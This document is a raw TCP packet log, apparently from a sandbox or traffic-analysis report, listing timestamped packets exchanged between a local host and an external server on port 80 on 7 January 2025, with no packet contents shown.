Jan 7, 2025 06:12:05.874788046 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.874788046 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.874804020 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.874805927 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.874816895 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.874825954 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.874828100 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.874850035 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.874876022 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.874886990 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.874897003 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.874908924 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.874933004 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.874933958 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.874947071 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.874958038 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.874979973 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.875042915 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875055075 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875066042 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875089884 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.875097990 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875109911 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875111103 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.875121117 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875130892 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875135899 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.875168085 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.875195980 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875207901 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875217915 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875245094 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875251055 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.875257015 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875264883 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.875267982 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875296116 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875305891 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875320911 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.875324011 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875339031 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.875371933 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875382900 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875392914 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875403881 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875410080 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.875441074 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.875475883 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875487089 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875499010 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875519037 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.875534058 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.875546932 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875556946 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875567913 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875579119 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875586987 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.875590086 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875612974 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.875652075 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875663042 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875673056 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875691891 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.875711918 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.875745058 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875756979 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875771999 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875782013 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875792027 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.875812054 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.875857115 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875868082 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875878096 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875889063 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875895977 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.875900030 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875910997 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875921965 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875929117 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.875950098 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875961065 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.875962019 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.875986099 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.876013041 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876027107 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876046896 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.876065969 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876075983 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876086950 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876113892 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.876136065 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.876209974 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876220942 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876231909 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876241922 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876251936 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876254082 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.876262903 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876274109 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876277924 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.876295090 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.876327038 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876338005 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876348019 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876358986 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876367092 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.876372099 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876383066 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876391888 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.876406908 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.876460075 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876470089 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876481056 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876512051 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.876512051 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876526117 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876535892 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.876537085 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876548052 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876559019 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.876593113 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.876614094 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876625061 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876635075 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876686096 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.876694918 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876705885 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876715899 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876727104 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876761913 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.876770020 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876780987 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876816034 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876827002 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876837015 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876838923 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.876852989 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.876879930 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.876939058 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.876950979 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.877001047 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.914562941 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.914582014 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.914592981 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.914602995 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.914613008 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.914623976 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.914628029 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.914669037 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.914680004 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.914685965 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.914691925 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.914741993 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.967149973 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967168093 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967179060 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967190027 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967200041 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967206955 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.967216969 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967221975 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.967228889 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967238903 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967247963 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.967255116 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967262030 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.967267990 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967278957 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967288971 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967298985 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967317104 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.967324018 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967334986 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967336893 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.967345953 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967355967 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.967355967 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967370033 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967379093 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.967380047 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967391014 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967406988 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.967412949 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967423916 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.967430115 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967447042 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967457056 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967459917 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.967463017 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967473984 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967483997 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967489958 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.967494011 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967504978 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967515945 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.967523098 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967534065 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967534065 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.967545033 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967551947 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.967556953 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967566967 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967580080 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.967580080 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967608929 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.967638969 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967649937 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967664957 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967674971 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967679024 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.967685938 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967696905 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967700958 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.967725992 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.967763901 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967775106 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967783928 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967803001 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.967803955 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967816114 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967816114 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.967825890 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967838049 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967849016 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.967865944 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.967907906 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967925072 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967935085 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.967963934 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.968694925 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.968707085 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.968717098 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.968734980 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.968751907 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.969003916 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969019890 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969028950 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969039917 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969046116 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.969069004 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.969178915 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969189882 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969199896 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969209909 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969216108 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.969247103 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.969321012 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969331980 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969341993 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969352007 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969356060 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.969362020 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969372988 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969381094 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.969383001 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969394922 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969404936 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969414949 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969417095 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.969424963 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969439983 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.969446898 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969460964 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.969463110 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969475031 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969475031 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.969485998 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969496012 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969506025 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969506979 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.969516039 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969527006 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969532013 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.969537973 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969547987 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969548941 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.969558001 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969568014 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969573021 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969577074 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969578981 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.969597101 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969599962 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.969614029 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969630957 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969635010 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.969640970 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969650984 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969660997 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969670057 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.969671011 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969681978 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969683886 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.969692945 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969702959 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969707012 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.969716072 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969726086 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969731092 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.969759941 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.969763041 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969774008 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969784021 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969791889 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.969795942 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969806910 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969815016 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.969818115 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.969840050 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.007208109 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.007220984 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.007231951 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.007280111 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.007318020 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.007330894 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.007342100 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.007352114 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.007363081 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.007375956 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.007400990 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.059437037 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.059451103 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.059463024 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.059505939 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.059570074 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.059581995 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.059592962 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.059603930 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.059607983 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.059626102 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.059741974 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.059752941 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.059763908 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.059775114 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.059784889 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.059812069 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.059885025 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.059895992 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.059907913 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.059917927 CET	80	49712	147.45.44.131	192.168.2.6
